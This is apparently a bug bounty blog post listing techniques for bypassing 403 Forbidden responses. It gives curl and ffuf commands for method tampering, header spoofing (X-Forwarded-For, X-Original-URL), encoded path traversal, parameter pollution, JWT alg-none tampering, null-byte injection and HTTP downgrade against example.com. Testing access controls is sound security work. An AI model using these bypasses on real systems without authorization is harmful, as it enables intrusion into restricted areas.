infosecwriteups.com 3 min read Original Source

$100-$200 worth 403 Bypass Techniques

Friend Link | Free Link

Hi geeks, it4chis3c (Twitter) came-up with another bounty earning write-up in the Bug Bounty Hunting Series:

Bug Bounty Hunting Series
Edit description

Bypassing 403 Forbidden: Advanced Techniques for Bug Bounties

Encountering a 403 Forbidden or Access Denied error can feel like hitting a brick wall. But in bug bounties, this often means you’re one tweak away from uncovering a hidden vulnerability. Below are advanced, real-world techniques to bypass 403s, complete with secret tips, tools, and why they work.

1. HTTP Method Tampering

Why it works: Servers often enforce access controls only on common methods like GET or POST. Switching to less-used methods (PUT, PATCH, DELETE, TRACE, etc.) can bypass misconfigured rules.

Try This:

curl -X TRACE https://example.com/admin --path-as-is
curl -X TRACE https://example.com/admin --path-as-is

Flags:

  • -X TRACE: Switch HTTP method.
  • --path-as-is: Prevent URL normalization (critical for encoded paths).

Pro Tip: Test OPTIONS to list allowed methods. Use Burp Suite’s Intruder to brute-force methods.

2. Header Manipulation (X-Forwarded-For, Referer, etc.)

Why it works: Servers may trust headers like X-Forwarded-For to validate internal IPs or Referer for CSRF checks. Spoofing these can trick the server.

Real-World Examples:

Bypass IP Restrictions:

curl -H "X-Forwarded-For: 127.0.0.1" https://example.com/admin
curl -H "X-Forwarded-For: 127.0.0.1" https://example.com/admin

Spoof Referer:

curl -H "Referer: https://example.com" https://example.com/restricted
curl -H "Referer: https://example.com" https://example.com/restricted

Secret Trick: Add X-Original-URL or X-Rewrite-URL headers to override paths (common in Nginx reverse proxies):

curl -H "X-Original-URL: /admin" https://example.com/404
curl -H "X-Original-URL: /admin" https://example.com/404

3. Path Fuzzing & Encoding

Why it works: Servers often block literal paths like /admin but miss encoded or case-varied versions.

Advanced Techniques:

URL Encoding:

# Try %2e%2e%2f (../) or %20 (space)
curl -g --path-as-is "https://example.com/%2e%2e/admin"
# Try %2e%2e%2f (../) or %20 (space)
curl -g --path-as-is "https://example.com/%2e%2e/admin"

Case Sensitivity:

curl https://example.com/AdMiN
curl https://example.com/AdMiN

Add Suffixes:

curl https://example.com/admin.json
curl https://example.com/admin.json

Tool Alert: Use ffuf to brute-force paths:

ffuf -u https://example.com/FUZZ -w wordlist.txt -H "X-Forwarded-For: 127.0.0.1" -mc 200
ffuf -u https://example.com/FUZZ -w wordlist.txt -H "X-Forwarded-For: 127.0.0.1" -mc 200

4. Parameter Tampering

Why it works: Adding parameters like ?debug=true or ?token=123 can bypass checks that only validate the path.

Examples:

curl "https://example.com/admin?unused_param=1"
curl "https://example.com/admin?redirect=allowed"
curl "https://example.com/admin?unused_param=1"
curl "https://example.com/admin?redirect=allowed"

Secret Trick: Override parameters with conflicting values:

curl "https://example.com/admin?admin=false&admin=true"
curl "https://example.com/admin?admin=false&admin=true"

5. JWT Token Tampering

Why it works: If the app uses JWTs for auth, modifying the payload (e.g., changing "role":"user" to "role":"admin") can escalate privileges.

Steps:

  1. Decode the JWT at jwt.io.
  2. Change the role and remove the signature (set algorithm to none).
  3. Resend the token:

<button data-code="curl -H "Authorization: Bearer " https://example.com/admin” data-toggle-ms=”1200″ aria-label=”Copy code” data-nosnippet=”” class=”code-copy-btn absolute right-3 top-1/2 -translate-y-1/2 size-8 p-1.5 flex items-center justify-center bg-black/50 text-white rounded-md transition-colors duration-200 cursor-pointer hover:bg-black/70″>

curl -H "Authorization: Bearer <MODIFIED_JWT>" https://example.com/admin
curl -H "Authorization: Bearer <MODIFIED_JWT>" https://example.com/admin

Tool: Use jwt_tool to automate tampering.

6. Null Byte Injection

Why it works: Adding %00 (null byte) can truncate path checks.

curl --path-as-is "https://example.com/admin.php%00.html"
curl --path-as-is "https://example.com/admin.php%00.html"

7. HTTP Version Downgrade

Why it works: Some servers handle HTTP/1.0 differently, skipping security checks.

curl --http1.0 https://example.com/admin
curl --http1.0 https://example.com/admin

8. Combine Techniques for Maximum Impact

Real-World Example:

  1. Spoof X-Forwarded-For.
  2. Change method to PUT.
  3. Add /%2e%2e to the path.

curl -X PUT -H "X-Forwarded-For: 127.0.0.1" --path-as-is "https://example.com/%2e%2e/admin"
curl -X PUT -H "X-Forwarded-For: 127.0.0.1" --path-as-is "https://example.com/%2e%2e/admin"

Pro Tips

  • Automate: Use Burp Suite, ffuf, or wfuzz with custom wordlists.
  • Watch for 302s: A 403 → 302 redirect may leak open endpoints.
  • Check Response Bodies: A 403 page might still return sensitive data.

$100 worth Rate Limit Bypass Bug |Advanced Tricks & Tips
Hidden/Secret Tips and Tricks to Bypass Rate Limiting

$50-$500 worth Information Disclosure Bug Automation
Uncover Hidden/Secret methods to find Sensitive Information Disclosures

$100 worth Open Redirect Automation
From Hall of Fame to $$$ Bounty Automation Techniques for Open Redirect Bug

$50-$100 P5 & P4 Bug Automation with Nuclei
Practical Tips to Automate P5/P4 Bugs using Nuclei

How to Uncover Hidden Attack Surfaces? Recon part 6
Probing | IP Resolution | Port Scanning

$200 Easy Bounty: Improper Rate Limiting Exploit
Rate Limiting gives you Easy Bounty

Choosing Your First Program in Bug Bounties: A Beginner’s Guide
Hey geeks, it4chis3c (Twitter) comes up with another write-up in my Bug Bounty Hunting Series:

Don’t know how to find Bounty Earning Assets? Let’s Dive Deep into Recon part 2
Hi geeks, it4chis3c (Twitter) came-up with another bounty earning write-up in the Bug Bounty Hunting Series:

I look forward to sharing what I’ve learned while exploring the ever-evolving world of cybersecurity and bug bounties. Let’s hunt some bugs!

Thank you for reading the blog!!! Do Follow and Comment on what specific type of write-up you want the next??

You can also follow me on Twitter & LinkedIn for more such tips & tricks.

Follow & subscribe for daily write-up updates via mail on Medium